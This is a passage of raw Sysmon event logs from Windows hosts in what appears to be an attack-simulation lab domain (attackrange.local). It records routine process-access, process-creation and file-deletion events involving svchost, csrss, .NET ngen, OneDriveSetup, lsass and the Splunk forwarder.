10341000x800000000000000042553Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.023{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F40-613B-EB08-00000000F001}7120C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042552Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.008{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F40-613B-EB08-00000000F001}7120C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042551Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.008{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F40-613B-EB08-00000000F001}7120C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000013820Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:16.161{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B244F19B48DFE548B7AC100B3EEC9664,SHA256=B4F0A1E02830BB20CC4795D27E243BD3D47C0B72262E81371E87E84961C6BACC,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000042772Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:17.898{7BD73061-65B0-613B-0B00-00000000F001}6205912C:\Windows\system32\lsass.exe{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\system32\svchost.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042771Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:17.898{7BD73061-65B0-613B-0B00-00000000F001}6205912C:\Windows\system32\lsass.exe{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042770Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:17.898{7BD73061-6F40-613B-F108-00000000F001}71161012C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+da5f9|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e3f4a|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e222d|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+df7ba|C:\Windows\SYSTEM32\ntdll.dll+2b644(wow64)|C:\Windows\SYSTEM32\ntdll.dll+34f26(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000042769Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:17.898{7BD73061-65B2-613B-1300-00000000F001}922284C:\Windows\System32\svchost.exe{7BD73061-6F40-613B-F108-00000000F001}7116C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe0x1440C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\pcasvc.dll+5bab|c:\windows\system32\pcasvc.dll+5b07|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde|C:\Windows\System32\RPCRT4.dll+30ed7|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042768Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:17.898{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042767Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:17.898{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042766Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:17.898{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042765Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:17.898{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042764Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:17.883{7BD73061-6D0B-613B-7F06-00000000F001}36605244C:\Windows\system32\csrss.exe{7BD73061-6F41-613B-0109-00000000F001}6672C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042763Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:17.883{7BD73061-6F40-613B-F108-00000000F001}71166744C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe{7BD73061-6F41-613B-0109-00000000F001}6672C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\System32\windows.storage.dll+110b0f(wow64)|C:\Windows\System32\windows.storage.dll+11082f(wow64)|C:\Windows\System32\windows.storage.dll+110577(wow64)|C:\Windows\System32\windows.storage.dll+111565(wow64)|C:\Windows\System32\windows.storage.dll+1103a1(wow64)|C:\Windows\System32\windows.storage.dll+11276a(wow64)|C:\Windows\System32\windows.storage.dll+112b67(wow64)|C:\Windows\System32\windows.storage.dll+112195(wow64)|C:\Windows\System32\SHELL32.dll+171154(wow64)|C:\Windows\System32\SHELL32.dll+17102e(wow64)|C:\Windows\System32\SHELL32.dll+1ae34a(wow64)|C:\Windows\System32\shcore.dll+2fffa(wow64) 154100x800000000000000042762Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:17.898{7BD73061-6F41-613B-0109-00000000F001}6672C:\Program Files\Microsoft Office\root\Integration\Addons\OneDriveSetup.exe18.151.0729.0013Microsoft OneDrive SetupMicrosoft OneDriveMicrosoft CorporationOneDriveSetup.exe"C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe" C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe /silent /permachine /silent /childprocess /enableOMCTelemetry /cusid:S-1-5-21-589020557-3528615288-1361562277-500 C:\Temp\ATTACKRANGE\Administrator{7BD73061-6D0D-613B-08AC-390000000000}0x39ac082HighMD5=11D5E2EF5D9A0E009DF8CC61F4706982,SHA256=17A5F35C30B9D1DBB651686407DBF7D1BDCC685426581AF6796B364550E7FE70,IMPHASH=059AC5CD530DD28EAD72A380619D30D7{7BD73061-6F40-613B-F108-00000000F001}7116C:\Program Files\Microsoft Office\root\Integration\Addons\OneDriveSetup.exe"C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe" /silent 10341000x800000000000000042761Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:17.883{7BD73061-65B2-613B-1300-00000000F001}926172C:\Windows\System32\svchost.exe{7BD73061-6F41-613B-0109-00000000F001}6672C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\pcasvc.dll+ac96|c:\windows\system32\pcasvc.dll+aaf6|c:\windows\system32\pcasvc.dll+aab8|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042760Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:17.867{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F41-613B-0009-00000000F001}6916C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042759Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:17.867{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F41-613B-0009-00000000F001}6916C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000042758Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:17.820{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F41-613B-FF08-00000000F001}4616C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042757Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:17.789{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F41-613B-FF08-00000000F001}4616C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042756Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:17.789{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F41-613B-FF08-00000000F001}4616C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000042755Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:17.711{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F41-613B-FE08-00000000F001}400C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042754Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:17.695{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-6F41-613B-FC08-00000000F001}4264C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042753Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:17.695{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F41-613B-FE08-00000000F001}400C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042752Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:17.695{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F41-613B-FE08-00000000F001}400C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000042751Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 